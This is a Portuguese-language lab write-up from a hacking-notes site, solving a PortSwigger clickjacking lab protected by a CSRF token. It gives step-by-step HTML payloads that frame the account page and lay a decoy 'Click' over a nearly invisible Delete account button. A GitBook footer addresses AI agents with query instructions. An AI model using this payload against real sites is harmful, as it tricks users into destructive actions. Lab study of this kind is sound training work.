> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/clickjacking/basic-clickjacking-with-csrf-protection.md).

# Clickjacking Básico com Proteção CSRF

Notas sobre Clickjacking Básico com Proteção CSRF para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Clickjacking básico com proteção por token CSRF

Este laboratório contém um recurso de conexão, bem como um botão Excluir conta protegido por um **token CRF**. / O objetivo é incentivar o usuário a clicar em um item exibindo a palavra "Click" em um site isca, para excluir sua conta.

**Credenciais fornecidas:**

* wiener : peter

Na página da conta, encontramos a função **Excluir conta**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b59cc7809dd6525f82c3392758b6c3d2cb80f00d%2Fimage%20(359).png?alt=media" alt=""><figcaption></figcaption></figure>

A ideia é usar um **`<iframe>`** tag para incorporar esta página ao nosso próprio site e enganar o usuário para clicar no lugar certo.

```html
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

Esta etapa nos permite exibir a página-alvo em nosso próprio site.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5aa01982aa4144437fbfde75d2a805fa3f4b84d4%2Fimage%20(360).png?alt=media" alt=""><figcaption></figcaption></figure>

Posicione o texto enganoso ("Click") exatamente acima do *Excluir conta* botão:

```html
<style>
iframe{
width: 500px;
height: 600px;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Click</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d05052f2fa08ab18507f8e82a34e1bbf285f23e8%2Fimage%20(361).png?alt=media" alt=""><figcaption></figcaption></figure>

Para que a vítima não veja a interface real, a **transparência** da moldura é reduzida:

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Click</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

Se a parte inferior da página não aparecer, provavelmente é devido à ausência do `frameborder="0"` parâmetro ou a uma política de segurança do site. / A aparência pode ser ajustada da seguinte forma:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc6c0e5e0ca3b4f2e72b54c03819370bdeb50539%2Fimage%20(362).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/clickjacking/basic-clickjacking-with-csrf-protection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
